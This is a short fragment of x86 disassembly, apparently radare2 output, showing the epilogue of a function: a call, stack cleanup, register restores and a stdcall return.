call fcn.00420542
add esp, 0x18
pop esi
pop ebp
mov al, bl
pop ebx
pop ecx
ret 8